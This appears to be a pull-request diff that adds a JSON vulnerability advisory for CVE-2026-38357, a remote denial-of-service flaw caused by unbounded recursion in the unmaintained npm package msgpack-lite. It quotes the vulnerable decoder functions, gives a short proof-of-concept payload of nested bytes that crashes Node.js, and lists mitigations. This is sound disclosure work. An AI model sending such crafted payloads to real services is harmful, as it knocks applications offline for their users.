Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,65 @@
{
"schema_version": "1.4.0",
"id": "msgpack-lite-cve-2026-38357",
"modified": "2026-05-07T00:00:00Z",
"published": "2026-05-07T00:00:00Z",
"aliases": [
"CVE-2026-38357"
],
"summary": "msgpack-lite: Unbounded recursion in MessagePack decoder leads to remote DoS",
"details": "## Summary\n\nThe `msgpack-lite` npm package (all versions including 0.1.26) contains an unbounded recursion vulnerability in its binary MessagePack decoder. The `decode()` function recursively processes nested arrays (type `0x91`) and maps (type `0x80`–`0x8F`) without any depth tracking or recursion limit. An attacker can craft a MessagePack payload with deeply nested structures to exhaust the JavaScript call stack, causing a `RangeError` and terminating the Node.js process.\n\n**The package has been unmaintained since 2016, and no patch is expected.** Users should migrate to `@msgpack/msgpack`.\n\n## Vulnerable code\n\n**Array decoder (`lib/read-format.js:77-84`):**\n```javascript\nfunction array(decoder, len) {\n var value = new Array(len);\n var decode = decoder.codec.decode;\n for (var i = 0; i < len; i++) {\n value[i] = decode(decoder); // Unbounded recursion — no depth parameter\n }\n return value;\n}\n```\n\n**Map decoder (`lib/read-format.js:43-57`):**\n```javascript\nfunction map_to_obj(decoder, len) {\n var value = {};\n var decode = decoder.codec.decode;\n for (i = 0; i < len; i++) {\n k[i] = decode(decoder); // Recurses on key\n v[i] = decode(decoder); // Recurses on value\n }\n // ...\n}\n```\n\n**Core dispatcher (`lib/read-core.js:21-26`):**\n```javascript\nfunction decode(decoder) {\n var type = readUint8(decoder);\n var func = readToken[type];\n return func(decoder); // Dispatches back to array/map with no guard\n}\n```\n\nNo depth counter, configuration option, or hardcoded limit exists anywhere in the codebase.\n\n## Proof of Concept\n\n```javascript\nvar msgpack = require('msgpack-lite');\n\nvar depth = 5000;\nvar buf = Buffer.alloc(depth + 1);\nbuf.fill(0x91); // fixarray(1) — each byte adds one nesting level\nbuf[depth] = 0xc0; // nil — innermost value\n\ntry {\n msgpack.decode(buf);\n} catch (e) {\n console.log('Error:', e.message);\n // RangeError: Maximum call stack size exceeded\n}\n```\n\nA ~5 KB buffer reliably crashes Node.js v18+ with `RangeError: Maximum call stack size exceeded`.\n\n## Impact\n\nAny application that calls `msgpack.decode()` or `msgpack.Decoder.decode()` on untrusted input is vulnerable.\n\nAttack scenarios:\n- REST API endpoints accepting `Content-Type: application/x-msgpack`\n- WebSocket connections using MessagePack serialization\n- Message queues (Kafka, RabbitMQ, Redis Streams) with MessagePack-encoded messages\n- Microservice IPC using MessagePack\n\n## Mitigation\n\nNo patch will be released — the package is unmaintained.\n\n**Migrate to `@msgpack/msgpack`** (the official MessagePack JS library), which implements depth limiting by default.\n\nIf migration is not immediately possible:\n- Validate payload size and structural complexity before calling `decode()`\n- Wrap `decode()` calls in a worker thread or child process to contain crashes",
"severity": [
{
"type": "CVSS_V3",
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
}
],
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "msgpack-lite"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "0"
}
]
}
],
"database_specific": {
"last_known_affected_version_range": "<= 0.1.26"
}
}
],
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-38357"
},
{
"type": "PACKAGE",
"url": "https://github.com/kawanet/msgpack-lite"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/package/msgpack-lite"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/package/@msgpack/msgpack"
},
{
"type": "WEB",
"url": "https://cwe.mitre.org/data/definitions/674.html"
}
],
"database_specific": {
"cwe_ids": [
"CWE-674"
]
}
}